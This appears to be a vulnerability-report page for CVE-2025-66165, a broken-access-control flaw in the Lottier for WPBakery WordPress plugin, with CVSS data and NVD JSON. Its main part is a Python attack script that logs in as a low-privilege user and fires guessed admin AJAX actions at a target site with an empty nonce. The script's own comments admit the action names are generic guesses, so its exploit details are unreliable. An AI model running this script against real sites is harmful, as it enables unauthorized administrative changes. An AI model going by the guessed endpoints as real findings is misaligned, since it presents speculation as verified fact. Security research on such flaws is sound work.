Security Vulnerability Report
中文
CVE-2025-66165 CVSS 5.4 MEDIUM

CVE-2025-66165

Published: 2025-12-16 09:15:59
Last Modified: 2026-04-15 00:35:42

Description

Missing Authorization vulnerability in merkulove Lottier for WPBakery lottier-wpbakery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Lottier for WPBakery: from n/a through <= 1.1.7.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Lottier for WPBakery <= 1.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66165 PoC - Lottier for WPBakery Broken Access Control # Description: Missing Authorization in Lottier for WPBakery <= 1.1.7 # This PoC demonstrates how a low-privilege user can exploit the missing authorization import requests import sys from urllib.parse import urljoin def exploit_cve_2025_66165(target_url, username, password): """ Exploit the missing authorization vulnerability in Lottier for WPBakery plugin. A low-privilege user can perform admin-only actions. """ # Setup session session = requests.Session() # WordPress login login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'loggedout' in response.text or response.status_code != 200: print('[-] Login failed') return False print('[+] Login successful') # Identify vulnerable AJAX actions (generic examples - specific actions depend on plugin version) # Common vulnerable endpoints in Lottier plugin vulnerable_actions = [ 'lottier_save_settings', 'lottier_import_animation', 'lottier_save_animation', 'lottier_delete_animation' ] ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') for action in vulnerable_actions: print(f'[*] Testing action: {action}') # Construct exploit payload # This varies based on the specific vulnerable function exploit_data = { 'action': action, 'nonce': '', # If nonce is missing or can be brute-forced # Additional parameters depend on the specific vulnerability } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text.lower(): print(f'[+] Action {action} executed successfully - vulnerability confirmed!') print(f'[>] Response: {response.text[:200]}') return True print('[-] No vulnerable actions found or exploit failed') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_66165_poc.py <target_url> <username> <password>') print('Example: python cve_2025_66165_poc.py http://example.com/ subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66165(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66165", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:58.807", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Lottier for WPBakery lottier-wpbakery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Lottier for WPBakery: from n/a through <= 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/lottier-wpbakery/vulnerability/wordpress-lottier-for-wpbakery-plugin-1-1-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}